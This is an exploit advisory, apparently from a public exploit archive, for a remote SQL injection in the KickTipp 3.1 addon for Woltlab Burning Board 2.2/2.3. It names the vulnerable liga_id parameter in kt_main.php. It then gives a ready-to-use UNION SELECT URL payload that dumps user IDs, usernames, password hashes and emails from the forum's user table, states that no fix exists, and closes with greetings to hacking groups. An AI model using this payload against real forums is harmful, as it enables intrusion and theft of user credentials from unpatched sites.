Woltlab Burning Board 2.2 / 2.3 [WN]KT KickTipp 3.1 remote SQL Injection

========================================================================================
| # Title    : Woltlab Burning Board 2.2 / 2.3 [WN]KT KickTipp 3.1 remote SQL Injection
| # Author   : Easy Laster
| # Script   : Woltlab Burning Board 2.2 / 2.3 [WN]KT KickTipp 3.1
| # Site     : webnutzer.de
| # Price    : Woltlab Burning Board Lizenz
| # Exploitation : Remote Exploit
| # Bug      : Remote SQL Injection
| # Date     : 31.03.2012
| # Language : PHP
| # Status   : vulnerable
| # Greetings: secunet.to ,4004-security-project, Team-Internet, HANN!BAL, RBK, Dr.Ogen, ezah
======================        Proof of Concept         =================================
 
 
  [+] Introduction
  
   [WN]KT KickTipp 3.1 is a Addon for the Woltlab Burning Board 2.2 / 2.3.Web Application for
   Forum Systems.In this Addon we found a remote SQL Injection vulnerability in the kt_main.php
   file.The Vulnerability is a hight risk and not fixed from the coder.You must login for the
   remote SQL injection by the most Systems.
 
  [+] Vulnerability
 
    http://[host]/[path]/kt_main.php?action=tabelle&liga_id=[vul]
 
  [+] Exploit
  
    http://[host]/[path]/kt_main.php?action=tabelle&liga_id=%27+u
    nion+select+1,2,3,4,5,6,concat%28userid,0x3a,username,0x3a,pa
    ssword,0x3a,email%29,8+from+bb1_users+where+userid=7--+
   
  [+] Fix
 
    No fix.